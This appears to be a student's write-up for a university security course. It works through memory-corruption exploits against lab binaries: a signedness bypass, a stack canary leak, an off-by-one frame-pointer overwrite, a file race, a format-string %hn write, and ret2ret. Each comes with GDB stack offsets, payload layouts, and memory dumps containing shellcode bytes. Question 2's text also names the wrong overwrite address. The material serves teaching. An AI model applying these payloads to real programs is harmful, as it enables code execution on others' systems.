

Project 1 Write-up

Question 2: Spica

Main Idea

The code is vulnerable because `fread` expects its third argument to be of an **unsigned** type `size_t`, but on line 22, `fread(msg, 1, size, file)` received a third argument `size` which is of a **signed** type `int8_t`. We use this vulnerability to bypass the `size > 128` check on line 19, allowing us to write past the end of `msg`. We insert the shellcode at `msg` and overwrite the RIP of `display` with the address of the shell code.

Magic Numbers

We first determine the address of the local variable `msg` (`0xffffd838`) and the address of the rip of the `display` function (`0xffffd8cc`). This is done by invoking GDB and setting a breakpoint at line 18.

```
1 (gdb) p &msg
2 $1 = (char (*)[128]) 0xffffd838
```

```
1 (gdb) i f
2 Stack level 0, frame at 0xffffd8d0:
3   eip = 0x8049235 in display (telemetry.c:18); saved eip = 0x80492bd
4   called by frame at 0xffffd900
5   source language c.
6   Arglist at 0xffffd8c8, args: path=0xffffda93 "navigation"
7   Locals at 0xffffd8c8, Previous frame's sp is 0xffffd8d0
8   Saved registers:
9     ebp at 0xffffd8c8, eip at 0xffffd8cc
```

By doing so, we learned that the location of the return address from this function was 148 bytes away from the start of the location of the `msg` local variable.

Exploit Structure

The exploit has four parts:

1. Write a negative integer to bypass the size check.
2. Insert the shell code at `msg` (57 bytes long).

3. Write 148-57=91 dummy characters to overwrite the rest of `msg`, the compiler padding, and the `sfp`.
4. Finally, overwrite the `rip` with the address of the shell code. Since we are putting shell code at `msg`, we overwrite the `rip` with `0xffffd838`.

Exploit GDB Output

When we ran GDB after inputting the malicious exploit string, we got the following output:

```
1 (gdb) x/38x &msg
2 0xffffd838: 0xcd58326a 0x89c38980 0x58476ac1 0xc03180cd
3 0xffffd848: 0x692d6850 0xe2896969 0x6d2b6850 0xe1896d6d
4 0xffffd858: 0x2f2f6850 0x2f686873 0x896e6962 0x515250e3
5 0xffffd868: 0x31e18953 0xcd0bb0d2 0xaaaaaaaa 0xaaaaaaaa
6 0xffffd878: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
7 0xffffd888: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
8 0xffffd898: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
9 0xffffd8a8: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
10 0xffffd8b8: 0x00000099 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
11 0xffffd8c8: 0xaaaaaaaa 0xffffd838
```

After 57 bytes of shellcode and 91 bytes of garbage, the `rip` is overwritten with `0xffffd8cc`, which points to the shellcode at `msg` (`0xffffd838`).

Question 3

Main Idea

The code is vulnerable because the function `dehexify` consumes 4 bytes at once from buffer if the first 2 bytes are `\\` and `x` respectively. In this case, there is no null check the third or fourth byte and they are consumed *blindly*. Since the function does not stop consuming from buffer until it *sees* a null byte, the trailing null byte automatically appended by the `gets` function is skipped if our input to buffer ends with `\\x` (or `\\x` followed by any 1 byte of content). This allows us to trick the program to continue printing contents past the end of buffer and reveal to us the value of the stack canary. After that, we can perform a simple overflow attack to overwrite the value of the `rip` of `dehexify`.

Magic Numbers

We first determine the address of the local variable `c.buffer` (`0xffffd8dc`) and of the `rip` of `dehexify` (`0xffffd8fc`). This is done by invoking GDB and setting a breakpoint at line 22.

```
1 (gdb) p &c.buffer
2 $3 = (char *) [16] 0xffffd8dc
```

```
1 (gdb) i f
2 Stack level 0, frame at 0xffffd900:
3   eip = 0x804922e in dehexify (dehexify.c:22); saved eip = 0x8049341
4   called by frame at 0xffffd920
5   source language c.
6   Arglist at 0xffffd8f8, args:
7   Locals at 0xffffd8f8, Previous frame's sp is 0xffffd900
8   Saved registers:
9   ebp at 0xffffd8f8, eip at 0xffffd8fc
```

By doing so, we learned that the location of the return address from this function was 32 bytes away from the start of the location of the `c.buffer` local variable.

Exploit Structure

The exploit has four parts:

1. Write 16 dummy bytes to fill up the `c.buffer` local variable.
2. Overwrite the stack canary with itself.
3. Write 4 dummy bytes to overwrite the `sfp`.

4. Overwrite the `rip` with the address of the shellcode. Since we are putting shellcode directly after the `rip`, we overwrite the `rip` with `0xffffd900`.
5. Finally, insert the shellcode directly after the `rip`.

Exploit GDB Output

```
1 (gdb) x/16x c.buffer
2 0xffffd8dc:    0x3134785c    0x3134785c    0x3134785c    0x3134785c
3 0xffffd8ec:    0x422ef21e    0x3134785c    0x3134785c    0x3134785c
4 0xffffd8fc:    0xffffd900    0xdb31c031    0xd231c931    0xb05b32eb
5 0xffffd90c:    0xcdc93105    0xebc68980    0x3101b006    0x8980cddb
```

After 16 bytes of garbage, the stack canary is unchanged and followed by another 12 bytes of garbage, then the `rip` is overwritten with `0xffffd900`, which points to the shellcode directly after the `rip`.

Question 4

Main Idea

The code is vulnerable because it incorrectly set `i<=64` (instead of `i<64`) as the condition for its for loop to continue. This off-by-one mistake allows us to write past the end of the local variable `buf` and overwrite the LSB of the `sfp` of the function `invoke`. We take advantage of this vulnerability and changes the `sfp` to point to the local variable `buf`. When a second function return happens, the program will go to `buf+4` and execute the code it points to.

Magic Numbers

We only need to determine the address of the local variable `buf` (`0xffffd840`) and of the shellcode which is used as an environment variable (`0xffffdf9c`).

```
1 (gdb) p buf
2 $1 = 0xffffd840 ""
```

```
1 (gdb) x/16bx environ[4]
2 0xffffdf98:    0x45    0x47    0x47    0x3d    0x6a    0x32    0x58    0xcd
3 0xffffdfa0:    0x80    0x89    0xc3    0x89    0xc1    0x6a    0x47    0x58
```

Exploit Structure

The exploit has four parts:

1. Write 4 dummy characters to the local variable `buf`.
2. Write the address of our shellcode (`0xffffdf9c`).
3. Write another 56 dummy characters to the local variable `buf`.
4. Overwrite the LSB of the `sfp` with the LSB of the address of the local variable `buf` (`0x40`).

Since the program takes our input and `XOR` each character with `0x20`. We need to `XOR` our desired input with `0x20` ourselves before sending it to the program.

Exploit GDB Output

```
1 (gdb) x/20x buf
2 0xffffd840:    0x41414141    0xffffdf9c    0x41414141    0x41414141
3 0xffffd850:    0x41414141    0x41414141    0x41414141    0x41414141
4 0xffffd860:    0x41414141    0x41414141    0x41414141    0x41414141
5 0xffffd870:    0x41414141    0x41414141    0x41414141    0x41414141
6 0xffffd880:    0xffffd840    0x0804927a    0xffffda27    0xffffd898
```

After 4 bytes of garbage, the address of the shell code is placed, followed by another 56 bytes of garbage. Then the LSB of `sfp` is overwritten with `0x40` which makes the `sfp` points to the local variable `buf`.

Question 5

Main Idea

The code is vulnerable because it does not read from the file **immediately** after checking file size. This allows us to initially provide a small file that passes the size check and later overwrite the file with contents larger than the allowed size. By doing so, we are able to write past the end of the local variable `buf` and overwrite the `rip` of the function `read_file`.

Magic Numbers

We first need to determine the address of the local variable `buf` (`0xffffd888`) and of the `rip` (`0xffffd91c`).

```
1 (gdb) p &buf
2 $1 = (char (*)[128]) 0xffffd888
```

```
1 (gdb) i f
2 Stack level 0, frame at 0xffffd920:
3   eip = 0x80492af in read_file (orbit.c:41); saved eip = 0x804939c
4   called by frame at 0xffffd930
5   source language c.
6   Arglist at 0xffffd918, args:
7   Locals at 0xffffd918, Previous frame's sp is 0xffffd920
8   Saved registers:
9   ebp at 0xffffd918, eip at 0xffffd91c
```

By doing so, we learned that the location of the return address from this function is 148 bytes away from the start of the location of the `buf` local variable.

Exploit Structure

The exploit has three parts:

1. Write 148 dummy characters to the local variable `buf`.
2. Overwrite the `rip` with the address of the shellcode. Since we are putting shellcode directly after the `rip`, we overwrite the `rip` with `0xffffd920`.
3. Finally, insert the shellcode directly after the `rip`.

Exploit GDB Output

```
1 (gdb) x/40x buf
2 0xffffd888:    0x41414141    0x41414141    0x41414141    0x41414141
3 0xffffd898:    0x41414141    0x41414141    0x41414141    0x41414141
4 0xffffd8a8:    0x41414141    0x41414141    0x41414141    0x41414141
5 0xffffd8b8:    0x41414141    0x41414141    0x41414141    0x41414141
6 0xffffd8c8:    0x41414141    0x41414141    0x41414141    0x41414141
7 0xffffd8d8:    0x41414141    0x41414141    0x41414141    0x41414141
8 0xffffd8e8:    0x41414141    0x41414141    0x41414141    0x41414141
9 0xffffd8f8:    0x41414141    0x41414141    0x41414141    0x41414141
10 0xffffd908:    0x41414141    0x41414141    0x41414141    0x41414141
11 0xffffd918:    0x41414141    0xffffd920    0xdb31c031    0xd231c931
```

After 148 bytes of garbage, the `rip` is overwritten with `0xffffd920`, which points to the shellcode directly after the `rip`.

Question 6

Main Idea

The code is vulnerable because it directly uses the the local variable `buf`, which is inputed by the user, as the format string argument to the `printf` function. This allows us to use the `%hn` format specifier to overwrite the `rip` of function `calibrate` with the address of the shellcode.

Magic Numbers

We first need to determine the address of the local variable `buf` (`0xffffd830`), of the `rip` of function `printf` (`0xffffd7ec`), of the `rip` of function `calibrate` (`0xffffd81c`), and of the shellcode (`0xffffda60`). This is done by setting a breakpoint at line 10 and then stepping into the `printf` function at line 10 later.

```
1  p buf
2  $7 = 0xffffd830
   "AAAA\034\330\377\377AAAA\036\330\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c55873u%hn%9631
3  u%hn\n"
```

```
1  (gdb) i f
2  Stack level 0, frame at 0xffffd820:
3  eip = 0x8049224 in calibrate (calibrate.c:10); saved eip = 0x804928f
4  called by frame at 0xffffd8d0
5  source language c.
6  Arglist at 0xffffd818, args:
7    buf=0xffffd830
   "AAAA\034\330\377\377AAAA\036\330\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c55873u%hn%9
8  631u%hn\n"
9  Locals at 0xffffd818, Previous frame's sp is 0xffffd820
10 Saved registers:
11   ebp at 0xffffd818, eip at 0xffffd81c
```

```
1  (gdb) i f
2  Stack level 0, frame at 0xffffd7f0:
3  eip = 0x8049abe in printf (src/stdio/printf.c:8); saved eip = 0x804922f
4  called by frame at 0xffffd820
5  source language c.
6  Arglist at 0xffffd7e8, args:
7    fmt=0xffffd830
   "AAAA\034\330\377\377AAAA\036\330\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c55873u%hn%9
8  631u%hn\n"
9  Locals at 0xffffd7e8, Previous frame's sp is 0xffffd7f0
10 Saved registers:
11   eip at 0xffffd7ec
```

```

1  (gdb) x/16x argv[1]
2  0xffffda60:    0xcd58326a    0x89c38980    0x58476ac1    0xc03180cd
3  0xffffda70:    0x692d6850    0xe2896969    0x6d2b6850    0xe1896d6d
4  0xffffda80:    0x2f2f6850    0x2f686873    0x896e6962    0x515250e3
5  0xffffda90:    0x31e18953    0xcd0bb0d2    0x48530080    0x3d4c564c

```

By doing so, we learned that the format string argument of the `printf` function (located directly after the `rip` of `printf`) is 64 bytes away from the local variable `buf`. Therefore we need to use 15 $(64/4 - 1)$ `%c` format specifiers to skip to the start of `buf`.

Exploit Structure

The exploit has nine parts:

1. 4 dummy characters to be consumed by the **first** `%u` format specifier.
2. The address of the **lower** half of the `rip` of function `calibrate` (`0xffffd81c`).
3. Another 4 dummy characters to be consumed by the **second** `%u` format specifier.
4. The address of the **upper** half of the `rip` of function `calibrate` (`0xffffd81e`).
5. 15 `%c` format specifiers to skip over bytes between the format string argument of the `printf` function (located directly after the `rip` of `printf`) and the local variable `buf`.
6. `%55873u` format specifier to consume the dummy characters in part 1. (**55873** comes from desired value `0xda30` subtracted by **36** which is the number of already printed bytes).
7. `%hn` to consume the address in part 2 and overwrite its value with the desired value `0xda30`.
8. `%9631u` format specifier to consume the dummy characters in part 1. (**9631** comes from desired value `0xffff` subtracted by `0xda30` which is the number of already printed bytes).
9. `%hn` to consume the address in part 2 and overwrite its value with the desired value `0xffff`.

Exploit GDB Output

```

1  (gdb) x/24x 0xffffd81c
2  0xffffd81c:    0xffffda60    0xffffd830    0x08048034    0x00000020
3  0xffffd82c:    0x00000008    0x41414141    0xffffd81c    0x41414141
4  0xffffd83c:    0xffffd81e    0x63256325    0x63256325    0x63256325
5  0xffffd84c:    0x63256325    0x63256325    0x63256325    0x63256325
6  0xffffd85c:    0x35256325    0x33373835    0x6e682575    0x33363925
7  0xffffd86c:    0x68257531    0x00000a6e    0x00000001    0x00000000

```

The `rip` of function `calibrate` (located at `0xffffd81c`) is overwritten with the address of the shell code (`0xffffda60`).

Question 7

Main Idea

The code is vulnerable because the `gets` function call does not check input length and therefore allows us to write past the end of local variable `buf` and overwrite the variable `err_ptr`. We use the `ret2ret` method to trick the program to execute the shellcode pointed by the overwritten `err_ptr` variable. Note that even though stack canary is enabled in this program, it actually outputs it automatically, allowing us to overwrite it with itself to defeat its purposes.

Magic Numbers

We first need to determine the address of the local variable `err_ptr` (`0xffeb2dd8`), of the stack canary (`0xffeb2d9c`), of the `rip` of function `secure_gets` (`0xffeb2dac`), and the address of a `ret` instruction (`printf+41`).

```
1 (gdb) frame 1
2 #1 0x565c2689 in main (argc=1, argv=0xffeb2e74) at lockdown.c:119
3 (gdb) p &err_ptr
4 $2 = (int **) 0xffeb2dd8
```

```
1 (gdb) x/1x buf+256
2 0xffeb2d9c: 0x3d180ddd
```

```
1 (gdb) i f
2 Stack level 0, frame at 0xffeb2db0:
3 eip = 0x565c25ea in secure_gets (lockdown.c:106); saved eip = 0x565c2689
4 called by frame at 0xffeb2e00
5 source language c.
6 Arglist at 0xffeb2da8, args: err_ptr=0xffeb2dd4
7 Locals at 0xffeb2da8, Previous frame's sp is 0xffeb2db0
8 Saved registers:
9 ebx at 0xffeb2da4, ebp at 0xffeb2da8, eip at 0xffeb2dac
```

```
1 0xf7eb70ea <printf>      push    %ebx
2 0xf7eb70eb <printf+1>    call    0xf7e7f774
3 0xf7eb70f0 <printf+6>    add     $0x4ae98,%ebx
4 0xf7eb70f6 <printf+12>   sub     $0x8,%esp
5 0xf7eb70f9 <printf+15>   lea     0x14(%esp),%eax
6 0xf7eb70fd <printf+19>   push    %edx
7 0xf7eb70fe <printf+20>   push    %eax
8 0xf7eb70ff <printf+21>   push    0x18(%esp)
9 0xf7eb7103 <printf+25>   lea     0x238(%ebx),%eax
10 0xf7eb7109 <printf+31>   push    %eax
11 0xf7eb710a <printf+32>   call    0xf7eb936a <vfprintf>
12 0xf7eb710f <printf+37>   add     $0x18,%esp
13 0xf7eb7112 <printf+40>   pop     %ebx
```

```
14 0xf7eb7113 <printf+41> ret
```

By doing so, we learned that the stack canary is 16 bytes away from the `rip` of `secure_gets`, the `err_ptr` variable is 44 bytes away from the `rip` of `secure_gets`, and the `ret` instruction is 41 bytes away from the `printf` function.

Exploit Structure

The exploit has five parts:

1. Write 184 `0x90` characters (no-op instruction). The 184 comes from subtracting the length of the shellcode (72 bytes) from the length of the `buf` variable (256 bytes).
2. Fill the rest of the `buf` variable with the shellcode.
3. Overwrite the stack canary with itself (obtained from the output of the program).
4. Write 12 dummy bytes to overwrite the compiler padding and `sfp` of the function `secure_gets`.
5. Finally, overwrite everything up to but not including the variable `err_ptr` (a total of 44 bytes, or 11 4-byte words) with the address of a `ret` instruction (obtained by adding the offset of `ret` instruction relative to `printf` to the dynamic address of `printf` obtained from the output of the program).

Exploit GDB Output

```
1 (gdb) x/80x buf
2 0xffeb2c9c: 0x90909090 0x90909090 0x90909090 0x90909090
3 0xffeb2cac: 0x90909090 0x90909090 0x90909090 0x90909090
4 0xffeb2cbc: 0x90909090 0x90909090 0x90909090 0x90909090
5 0xffeb2ccc: 0x90909090 0x90909090 0x90909090 0x90909090
6 0xffeb2cdc: 0x90909090 0x90909090 0x90909090 0x90909090
7 0xffeb2cec: 0x90909090 0x90909090 0x90909090 0x90909090
8 0xffeb2cfc: 0x90909090 0x90909090 0x90909090 0x90909090
9 0xffeb2d0c: 0x90909090 0x90909090 0x90909090 0x90909090
10 0xffeb2d1c: 0x90909090 0x90909090 0x90909090 0x90909090
11 0xffeb2d2c: 0x90909090 0x90909090 0x90909090 0x90909090
12 0xffeb2d3c: 0x90909090 0x90909090 0x90909090 0x90909090
13 0xffeb2d4c: 0x90909090 0x90909090 0xdb31c031 0xd231c931
14 0xffeb2d5c: 0xb05b32eb 0xcdc93105 0xebc68980 0x3101b006
15 0xffeb2d6c: 0x8980cddb 0x8303b0f3 0x0c8d01ec 0xcd01b224
16 0xffeb2d7c: 0x39db3180 0xb0e674c3 0xb202b304 0x8380cd01
17 0xffeb2d8c: 0xdfeb01c4 0xffffc9e8 0x414552ff 0x00454d44
18 0xffeb2d9c: 0x3d180ddd 0x41414141 0x41414141 0x41414141
19 0xffeb2dac: 0xf7eb7113 0xf7eb7113 0xf7eb7113 0xf7eb7113
20 0xffeb2dbc: 0xf7eb7113 0xf7eb7113 0xf7eb7113 0xf7eb7113
21 0xffeb2dcc: 0xf7eb7113 0xf7eb7113 0xf7eb7113 0xffeb2d00
```

After 184 bytes of no-op instruction (**0x90**), the shellcode fills the rest of the **buf** variable, followed by the stack canary unchanged (overwritten with itself) and 12 bytes of garbage. After that, starting from and including the **rip** of **secure_gets** up to but not including the **err_ptr** variable is overwritten with the address of the **ret** instruction (*0xf7eb7113*). Finally, the LSB of the **err_ptr** variable is overwritten with **\x00**, making it pointing to the middle of the "no-op sled" in buffer.